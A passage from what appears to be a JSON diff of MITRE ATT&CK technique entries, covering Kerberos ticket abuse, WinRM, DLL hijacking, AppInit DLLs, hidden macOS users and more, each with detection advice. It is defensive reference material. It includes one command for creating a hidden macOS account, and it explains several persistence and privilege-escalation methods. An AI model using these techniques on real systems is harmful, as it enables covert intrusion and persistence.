use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).[[Citation: ADSecurity AD Kerberos Attacks]]\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.[[Citation: Campbell 2014]]\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.[[Citation: CERT-EU Golden Ticket Protection]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nContributors: Ryan Becwar", - "meta": { - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1097", - "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", - "http://www.aorato.com/labs/pass-the-ticket/", - "https://adsecurity.org/?p=556", - "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" - ], - "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c" - }, - "value": "Pass the Ticket" - }, - { - "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).[[Citation: Microsoft WinRM]] It may be called with the winrm command or by any number of programs such as PowerShell.[[Citation: Jacobsen 2014]]\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Authentication logs", - "Netflow/Enclave netflow", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1028", - "http://msdn.microsoft.com/en-us/library/aa384426", - "http://www.slideee.com/slide/lateral-movement-with-powershell" - ], - "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39" - }, - "value": "Windows Remote Management" - }, - { - "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, Process monitoring, File monitoring", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1123" - ], - "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967" - }, - "value": "Audio Capture" - }, - { - "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.[[Citation: F-Secure Cosmicduke]]\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1024", - "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" - ], - "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" - }, - "value": "Custom Cryptographic Protocol" - }, - { - "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of [[Legitimate Credentials]] to access remote systems within the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1061" - ], - "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228" - }, - "value": "Graphical User Interface" - }, - { - "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Malware reverse engineering", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1008", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433" - }, - "value": "Fallback Channels" - }, - { - "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions.[[Citation: Technet MS14-068]][[Citation: ADSecurity Detecting Forged Tickets]]\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", - "meta": { - "mitre_data_sources": [ - "Windows Error Reporting", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1068", - "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx", - "https://adsecurity.org/?p=1515" - ], - "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839" - }, - "value": "Exploitation of Vulnerability" - }, - { - "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401[[Citation: Cybereason OSX Pirrit]].\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: MacOS, OS X\n\nData Sources: Authentication logs, File monitoring", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "File monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1147", - "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty" - ], - "uuid": "8c31ad7f-a31e-400e-b66a-08bc53660967" - }, - "value": "Hidden Users" - }, - { - "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information [[Discovery]] or [[Lateral Movement]], which could be used as event indicators that point to the source file.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1009" - ], - "uuid": "519630c5-f03f-4882-825c-3af924935817" - }, - "value": "Binary Padding" - }, - { - "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them[[Citation: Adding Login Items]]. Users have direct control over login items installed using a shared file list which are also visible in System Preferences[[Citation: Adding Login Items]]. These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist[[Citation: Methods of Mac Malware Persistence]]. Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in[[Citation: Malware Persistence on OS X]][[Citation: OSX.Dok Malware]].\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: MacOS, OS X", - "meta": { - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1162", - "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "6a63ed12-fe3c-42e3-9c5e-2fcd740dc5ab" - }, - "value": "Login Item" - }, - { - "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Authentication logs, Binary file metadata", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Packet capture", - "Network protocol analysis", - "File monitoring", - "Authentication logs", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1108", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a" - }, - "value": "Redundant Access" - }, - { - "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted.[[Citation: Zhang 2013]] If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1022", - "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", - "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" - ], - "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638" - }, - "value": "Data Encrypted" - }, - { - "description": "Windows systems use a common method to look for required DLLs to load into a program.[[Citation: Microsoft DLL Search]] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks,[[Citation: OWASP Binary Planting]] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.[[Citation: Microsoft 2269637]] Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.[[Citation: Microsoft DLL Redirection]][[Citation: Microsoft Manifests]][[Citation: Mandiant Search Order]]\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Disallow loading of remote DLLs.[[Citation: Microsoft DLL Preloading]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, DLL monitoring, Process monitoring, Process command-line parameters\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "DLL monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1038", - "https://msdn.microsoft.com/en-US/library/aa375365", - "https://www.owasp.org/index.php/Binary%20planting", - "http://msdn.microsoft.com/en-US/library/ms682586", - "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx", - "http://msdn.microsoft.com/en-US/library/ms682600", - "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx", - "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" - ], - "uuid": "46944654-fcc1-4f63-9dad-628102376586" - }, - "value": "DLL Search Order Hijacking" - }, - { - "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1039" - ], - "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c" - }, - "value": "Data from Network Shared Drive" - }, - { - "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program. This value can be abused to obtain persistence by causing a DLL to be loaded into most processes on the computer.[[Citation: AppInit Registry]]\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.[[Citation: AppInit Secure Boot]]\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs.[[Citation: TechNet Autoruns]] \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for [[Command and Control]], learning details about the environment through [[Discovery]], and conducting [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM", - "meta": { - "mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1103", - "https://support.microsoft.com/en-us/kb/197571", - "https://msdn.microsoft.com/en-us/library/dn280412", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41" - }, - "value": "AppInit DLLs" - }, - { - "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[[Citation: Wikipedia OSI]] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts;[[Citation: Microsoft ICMP]] however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1095", - "http://support.microsoft.com/KB/170292", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b" - }, - "value": "Standard Non-Application Layer Protocol" - }, - { - "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism[[Citation: Sofacy Komplex Trojan]].\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1150", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "uuid": "26a5fec2-2159-4dea-aa9f-8dafa90976ab" - }, - "value": "Plist Modification" - }, - { - "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[[Citation: TechNet Netsh]] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another [[Persistence]] technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe.[[Citation: Demaske Netsh Persistence]]\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs.[[Citation: Github Netsh Helper CS Beacon]]\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.[[Citation: Demaske Netsh Persistence]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nContributors: Matthew Demaske, Adaptforward", - "meta": { - "mitre_data_sources": [ - "DLL monitoring", - 